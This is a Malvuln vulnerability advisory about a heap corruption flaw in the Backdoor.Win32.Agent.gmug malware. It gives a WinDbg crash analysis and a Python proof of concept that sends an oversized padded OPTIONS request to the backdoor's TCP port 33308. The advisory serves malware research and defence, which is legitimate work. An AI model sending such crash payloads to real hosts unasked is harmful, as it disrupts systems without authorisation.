Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c7763bae3376a9f2865a1a18e84c259e.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.gmug
Vulnerability: Heap Corruption 
Description: The malware listens on TCP port 33308, third-party attackers who can reach the server can send a specially crafted payload causing a heap corruption.
Type: PE32
MD5: c7763bae3376a9f2865a1a18e84c259e
Vuln ID: MVID-2021-0194
Dropped files: 
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 04/29/2021

Memory Dump:
(1a90.1b4): Unknown exception - code c0000017 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=4f495458 edx=00000053 esi=00000003 edi=00000003
eip=77aeed3c esp=045ef264 ebp=045ef3f4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
77aeed3c c21400          ret     14h

0:004> .ecxr
eax=045efba0 ebx=045efc38 ecx=4f495458 edx=00000053 esi=0038f000 edi=00000000
eip=77b53c59 esp=045efba0 ebp=045efbf8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!RtlpAllocateHeapRaiseException+0x3b:
77b53c59 8b4dfc          mov     ecx,dword ptr [ebp-4] ss:002b:045efbf4=afc7855f

0:004> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.Agent.gmug.c7763bae3376a9f2865a1a18e84c259e.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.gmug.c7763bae3376a9f2865a1a18e84c259e.exe

FAULTING_IP: 
ntdll!RtlpAllocateHeapRaiseException+3b
77b53c59 8b4dfc          mov     ecx,dword ptr [ebp-4]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77b53c59 (ntdll!RtlpAllocateHeapRaiseException+0x0000003b)
   ExceptionCode: c0000017
  ExceptionFlags: 00000000
NumberParameters: 1
   Parameter[0]: 4f495458

DEFAULT_BUCKET_ID:  HEAP_CORRUPTION

PROCESS_NAME:  Backdoor.Win32.Agent.gmug.c7763bae3376a9f2865a1a18e84c259e.exe

ERROR_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota}  Not enough virtual memory or paging file quota is available to complete the specified operation.

EXCEPTION_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota}  Not enough virtual memory or paging file quota is available to complete the specified operation.

EXCEPTION_PARAMETER1:  4f495458

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

ADDITIONAL_DEBUG_TEXT:  Enable Pageheap/AutoVerifer

FAULTING_THREAD:  000001b4

PRIMARY_PROBLEM_CLASS:  HEAP_CORRUPTION

BUGCHECK_STR:  APPLICATION_FAULT_HEAP_CORRUPTION

LAST_CONTROL_TRANSFER:  from 77ac173a to 77b53c59

STACK_TEXT:  
045efbf8 77ac173a 13145ad0 02570000 00030988 ntdll!RtlpAllocateHeapRaiseException+0x3b
045efc38 77ac13ee 0000000c 00000000 13145ad0 ntdll!RtlpAllocateHeapInternal+0x33a
045efc50 13142054 02570000 0000000c 4f49544f ntdll!RtlAllocateHeap+0x3e
WARNING: Stack unwind information not available. Following frames may be wrong.
045efc68 1314210c 4f49544f 045efc94 131427b2 Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x2054
045efc74 131427b2 4f49544f 00000008 0258e8e0 Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x210c
045efc94 13145c0e 4f49544f afc78257 045efd24 Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x27b2
045eff80 776f8654 0258e8e0 776f8630 e0881c1e Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x5c0e
045eff94 77ae4a77 0258e8e0 afc7817b 00000000 kernel32!BaseThreadInitThunk+0x24
045effdc 77ae4a47 ffffffff 77b09eb3 00000000 ntdll!__RtlUserThreadStart+0x2f
045effec 00000000 13145ad0 0258e8e0 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  ~4s; .ecxr ; kb

SYMBOL_NAME:  heap_corruption!heap_corruption

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: heap_corruption

IMAGE_NAME:  heap_corruption

DEBUG_FLR_IMAGE_TIMESTAMP:  0

FAILURE_BUCKET_ID:  HEAP_CORRUPTION_c0000017_heap_corruption!heap_corruption

BUCKET_ID:  APPLICATION_FAULT_HEAP_CORRUPTION_heap_corruption!heap_corruption

Followup: MachineOwner
---------

0:004> .exr -1
ExceptionAddress: 77b53c59 (ntdll!RtlpAllocateHeapRaiseException+0x0000003b)
   ExceptionCode: c0000017
  ExceptionFlags: 00000000
NumberParameters: 1
   Parameter[0]: 4f495458


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=33308

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    A = "OPTIONS / "+"A"*5482
    B = "HTTP/1.1 "
    C="A"*5481

    PAYLOAD = A+B+C
    s.send(PAYLOAD)
    s.close()
    
    print("Backdoor.Win32.Agent.gmug / Heap Corruption")
    print("MD5: c7763bae3376a9f2865a1a18e84c259e")
    print("By Malvuln");

if __name__=="__main__":
    doit()


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